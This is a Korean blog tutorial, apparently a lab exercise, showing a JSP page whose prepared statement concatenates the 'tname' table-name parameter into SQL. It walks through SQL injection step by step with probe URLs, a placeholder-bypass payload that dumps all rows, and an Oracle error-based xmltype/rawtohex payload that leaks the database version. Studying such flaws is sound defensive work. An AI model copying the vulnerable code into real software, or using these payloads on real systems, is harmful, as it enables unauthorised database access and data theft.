Self-Improvement
잘못 구현된 Prepared Statement 취약점 본문
Prepared Statement는 SQLi 공격이 불가한 방식이며 실제 안전하게 구현된 방식은 취약점이 발생하지 않는다.
하지만 잘못 구현된 Prepared Statement는 취약점이 발생할 수 있다.
Prepared Statement + Statement의 혼합 형태의 소스코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
<%@ page contentType="text/html; charset=euc-kr"%>
<%@ include file="dbcon_prepared.jsp"%>
<%@ page import="java.util.*,java.text.*"%>
<html>
<head>
<title>opensecurelab</title>
</head>
<body>
Employee information :<br><br>
<table border=1 cellpadding=5 cellspacing=0>
<tr>
<td>Employee ID</td>
<td>FirstName</td>
<td>JOB_ID</td>
<td>HireDate</td>
<tr>
<%
int _empid = Integer.parseInt(request.getParameter("empid"));
String _tname = request.getParameter("tname");
if (_tname==null) {
_tname="employees";
}
sql = "select * from " + _tname + " where employee_id=?";
pstmt = con.prepareStatement(sql);
pstmt.setInt(1,_empid);
rs = pstmt.executeQuery();
while(rs.next()) {
String empid = rs.getString("employee_id");
String name = rs.getString("first_name");
String jobid = rs.getString("job_id");
String hiredate= rs.getString("hire_date");
%>
<tr>
<td><%=empid%></td>
<td><%=name%></td>
<td><%=jobid%></td>
<td><%=hiredate%></td>
</td>
<%
}
if(rs != null) rs.close();
if(pstmt != null)pstmt.close();
if(con != null)con.close();
%>
</table>
</body>
</html>
|
cs |
tname의 파라미터는 Statement, empid 파라미터는 Prepared Statement 방식을 혼합해서 사용하고 있다.
페이지에 접속해본다.
- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES&empid=100
empid 파라미터에 싱글쿼터를 주입해서 Error가 발생하는지 확인한다.
- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES&empid=100%27
에러는 발생하였지만 DB에러가 아닌 JSP 스크립트 에러가 발생한 것을 알 수 있으며 문자형을 숫자형으로 변환 할 수 없다는 메시지이다. 즉 데이터 유형 검사와 동일한 형태인 것이며 취약점이 발생하지 않는다.
이번에는 tname에 싱글쿼터를 주입해본다.
- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES%27&empid=100
맨 하단에 DB 에러가 발생한 것을 알 수 있다. 해당 파라미터에서는 취약점이 발생한다는 뜻이며 에러 메시지를 통해서 쿼리문을 추측해서 SQLi을 주입을 해본다.
주석을 주입해도 동일한 에러가 발생하며 empid 파라미터가 플레이스 홀더로 사용되는 것을 추측할 수 있으며 이것을 이용하면 된다.
- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES--&empid=100
where 절과 함께 플레이스 홀더를 임의로 주입하여 참으로 만들어준다.
-http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES%20where%20100=?--&empid=100
모든 정보가 출력이 된 것을 확인할 수 있으며 이를 통해 UNION SQLi도 가능하지만 이전에 배운 Error SQLi로 진행을 해본다.
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다.
where 100=? and (select rawtohex(xmltype((select '<start_'|| rawtohex(banner)||'_end:root>' from v$version where rownum=1))) from dual)=0-- |
hex값으로 DB정보가 출력이 이루어진다.
'SQLi' 카테고리의 다른 글
UPDATE Error SQLi(MySQL, MSSQL, Oracle) (0) | 2020.04.20 |
---|---|
INSERT Error SQLi(MySQL, MSSQL, Oracle) (0) | 2020.04.20 |
Oracle Error SQLi 실습(XML 내장함수, to_char(), to_number(), rawtohex()) (0) | 2020.04.19 |
Oracle Error SQLi 단일 열 (XML 내장함수, rawtohex(), rownum, to_char(), substr()) (0) | 2020.04.19 |
Oracle Error SQLi 단일 열(Network 내장함수, Oracle 11g 미만) (0) | 2020.04.18 |